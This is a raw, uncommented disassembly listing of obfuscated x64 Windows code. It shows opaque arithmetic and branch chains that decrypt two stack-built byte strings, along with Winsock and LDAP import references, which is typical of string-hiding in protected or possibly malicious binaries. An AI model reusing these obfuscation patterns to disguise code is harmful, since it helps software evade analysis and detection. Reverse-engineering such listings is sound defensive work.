jmp 0x1401f5954
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401f5987
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401f55f9
movabs rdx, 0xe2ff43c1b0c1bb8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401f589d
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401f56dc
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 0x80
jae 0x1401f5875
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401f5784
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r9, 0x42
jb 0x1401f544b
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x1401f598a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f5627
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f5aad
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5653
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x1401f58c2
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f5680
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401f5a27
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f56ac
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x1401f59f9
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401f554e
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x1401f598a
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f5708
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2c
jmp 0x1401f5987
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f5725
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401f5954
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f5752
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x74
jmp 0x1401f5a2a
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401f558b
movabs rdx, 0x80c8d9bec8c1f204
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x1401f58c5
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f57a1
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401f560f
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f57cd
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
jmp 0x1401f5a5a
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f57fa
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x30
jmp 0x1401f5a27
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401f5817
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401f59e9
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401f5844
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x80
jmp 0x1401f59d2
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f55c7
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x28
jmp 0x1401f59ae
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r10 + 0xaf0]
sub dil, al
sub dil, 0x20
jmp 0x1401f59f6
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0xaf0]
add dil, r8b
add dil, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xaf0], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401f5a5d
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x54
jmp 0x1401f5a2a
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x1401f59f9
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f59ae
movabs rdx, 0x64ef1666e167d994
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xc
add dil, dl
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add r9, r15
jmp 0x1401f59d2
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
sub r10, r15
jmp 0x1401f5abc
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r10
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, dil
add dl, r8b
mov byte [rbp + r10 + 0xaf0], dl
add rbx, r9
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
jmp 0x1401f5abc
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x24
add dil, dl
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xaf0], cl
add rbx, r15
mov rax, r12
sub rax, rbx
add r10, rax
jmp 0x1401f5aad
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0xaf0]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401f5105
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x1401f5102
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7c
jmp 0x1401f50f2
lea rdx, [rbp + 0x16a0d00]
jmp 0x1401f5b24
lea rdx, [rbp + 0x6bc88c]
jmp 0x1401f5b24
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x98]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x21f0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f5b59
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov esi, 2
mov r8d, esi
lea rcx, [rbp + 0x21f0]
call fcn.140174580
nop
lea rcx, [rbp + 0x21f0]
call fcn.14024e690
nop
lea rcx, [rbp + 0x21f0]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x910], 0x9b
mov byte [rbp + 0x911], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x912], 0x90
mov byte [rbp + 0x913], 0xdb
mov byte [rbp + 0x914], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x915], Ordinal_217
mov byte [rbp + 0x916], 0x7b
mov byte [rbp + 0x917], Ordinal_217
mov byte [rbp + 0x918], 0x43
mov byte [rbp + 0x919], Ordinal_211
mov byte [rbp + 0x91a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x91b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x91c], 0x5e
mov byte [rbp + 0x91d], Ordinal_211
mov byte [rbp + 0x91e], 0x5d
mov byte [rbp + 0x91f], Ordinal_211
mov byte [rbp + 0x920], WSASetLastError
mov byte [rbp + 0x921], 0xc9
mov byte [rbp + 0x922], 0x7a
mov byte [rbp + 0x923], 0xcb
mov byte [rbp + 0x924], Ordinal_79
mov byte [rbp + 0x925], Ordinal_200
mov byte [rbp + 0x926], 0x64
mov byte [rbp + 0x927], Ordinal_200
mov byte [rbp + 0x928], 0x54
mov byte [rbp + 0x929], 0xc1
mov byte [rbp + 0x92a], 0x5b
mov byte [rbp + 0x92b], Ordinal_200
mov byte [rbp + 0x92c], 0x9f
mov byte [rbp + 0x92d], 0x3d
mov byte [rbp + 0x92e], 0x9a
mov byte [rbp + 0x92f], 0x3f
mov byte [rbp + 0x930], 0x84
mov byte [rbp + 0x931], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x932], 0xa8
mov byte [rbp + 0x933], Ordinal_60
mov byte [rbp + 0x934], 0xad
mov byte [rbp + 0x935], gethostname
mov byte [rbp + 0x936], 0xb8
mov byte [rbp + 0x937], Ordinal_60
mov byte [rbp + 0x938], 0xad
mov byte [rbp + 0x939], Ordinal_50
mov byte [rbp + 0x93a], 0xa0
mov byte [rbp + 0x93b], gethostname
mov byte [rbp + 0x93c], 0xbf
mov byte [rbp + 0x93d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x93e], 0x78
mov byte [rbp + 0x93f], Ordinal_50
mov byte [rbp + 0x940], Ordinal_143
mov byte [rbp + 0x941], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x942], 0xb3
mov byte [rbp + 0x943], Ordinal_45
mov byte [rbp + 0x944], 0xb2
mov byte [rbp + 0x945], Ordinal_41
mov byte [rbp + 0x946], Ordinal_41
mov byte [rbp + 0x947], Ordinal_45
xor eax, eax
mov qword [rbp + 0x948], rax
mov dword [rbp + 0x950], eax
mov word [rbp + 0x954], ax
mov byte [rbp + 0x956], al
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x47
jae 0x1401f6835
movzx r8d, byte [rbp + r9 + 0x910]
mov rdx, r8
cmp rdi, r9
ja 0x1401f682c
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f5d9e
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x44
jmp 0x1401f5dd5
je 0x1401f67a8
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f6779
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f6756
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401f6708
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401f6823
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401f5e08
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401f5fcb
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f66f7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f66d4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f668b
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f6665
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f65d9
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f6215
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f6201
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401f61de
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f61ca
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f61a9
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f6195
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401f6172
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f615e
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401f6800
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f67da
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401f5ff8
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401f5fd2
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401f5faf
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f6147
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401f6126
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f6112
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f60f1
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f60dd
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401f60ba
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401f6097
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f6073
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401f6050
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401f603c
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401f601b
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401f5e56
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401f5e56
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401f5e49
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f5dd5
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x24
add bl, dl
jmp 0x1401f5d66
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x1401f6727
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1401f63bc
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f6774
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f66a7
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x1401f6797
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401f679a
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401f65e8
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401f6451
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x1401f62f9
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x1401f6276
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov ecx, Ordinal_60
jmp 0x1401f622b
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401f65e8
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x1401f679a
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_45
jmp 0x1401f6674
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f66a7
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
jmp 0x1401f66e3
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401f6751
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_32
jmp 0x1401f6717
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401f62e1
lea rdx, [r9 + r11]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x1401f65b3
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401f637a
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x1401f658d
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401f6488
movabs rcx, 0xf22fc2bf02713608
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
cmp r10, 4
jb 0x1401f6580
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f6729
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f6310
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f67c3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f632d
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_32
jmp 0x1401f65e8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f6359
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401f679a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f623a
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_45
jmp 0x1401f66e3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f63a4
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x1401f6727
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f63d3
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f6751
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f63ff
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x1401f6797
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f6429
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401f65f8
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f6458
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f662e
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f6278
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401f67c3
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f64a5
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401f62f9
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f64c2
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401f65e8
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f64df
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401f6674
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f6509
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x1401f66a7
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f6535
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, 0x80
jmp 0x1401f6774
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f6552
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401f63bc
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f62af
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401f6727
mov byte [rbp + r9 + 0x910], bl
jmp 0x1401f67d2
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x910]
sub bl, al
sub bl, 0x60
jmp 0x1401f608f
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x910]
jmp 0x1401f65f5
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x910], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x910], r8b
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x1401f67c3
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f6797
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x910], cl
jmp 0x1401f6797
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f6774
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401f6717
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x910], cl
add r10, r15
jmp 0x1401f6774
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r15
jmp 0x1401f67d2
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x1401f67d2
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x910]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f5d53
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f5d50
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401f5d40
lea rdx, [rbp + 0x16f1040]
jmp 0x1401f683c
lea rdx, [rbp + 0x68a3a4]
jmp 0x1401f683c
lea rdx, [rbp + 0x910]
lea rcx, [rbp + 0xb8]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2300]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f6871
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2300]
call fcn.140174580
nop
lea rcx, [rbp + 0x2300]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2300]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x740], 0xcb
mov byte [rbp + 0x741], Ordinal_143
mov byte [rbp + 0x742], 0xac
mov byte [rbp + 0x743], 0xf3
mov byte [rbp + 0x744], Ordinal_79
mov byte [rbp + 0x745], 0xf1
mov byte [rbp + 0x746], WSASetLastError
mov byte [rbp + 0x747], 0xf7
mov byte [rbp + 0x748], 0x55
mov byte [rbp + 0x749], 0xf5
mov byte [rbp + 0x74a], 0xa2
mov byte [rbp + 0x74b], 0xfb
mov byte [rbp + 0x74c], 0x66
mov byte [rbp + 0x74d], 0xf9
mov byte [rbp + 0x74e], 0x55
mov byte [rbp + 0x74f], 0xff
mov byte [rbp + 0x750], 0x59
mov byte [rbp + 0x751], 0xfd
mov byte [rbp + 0x752], WSACleanup
mov byte [rbp + 0x753], 0xe3
mov byte [rbp + 0x754], 0x47
mov byte [rbp + 0x755], 0xe1
mov byte [rbp + 0x756], Ordinal_79
mov byte [rbp + 0x757], 0xe7
mov byte [rbp + 0x758], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x759], 0xe5
mov byte [rbp + 0x75a], 0x42
mov byte [rbp + 0x75b], 0xeb
mov byte [rbp + 0x75c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x75d], 0xe9
mov byte [rbp + 0x75e], r14b
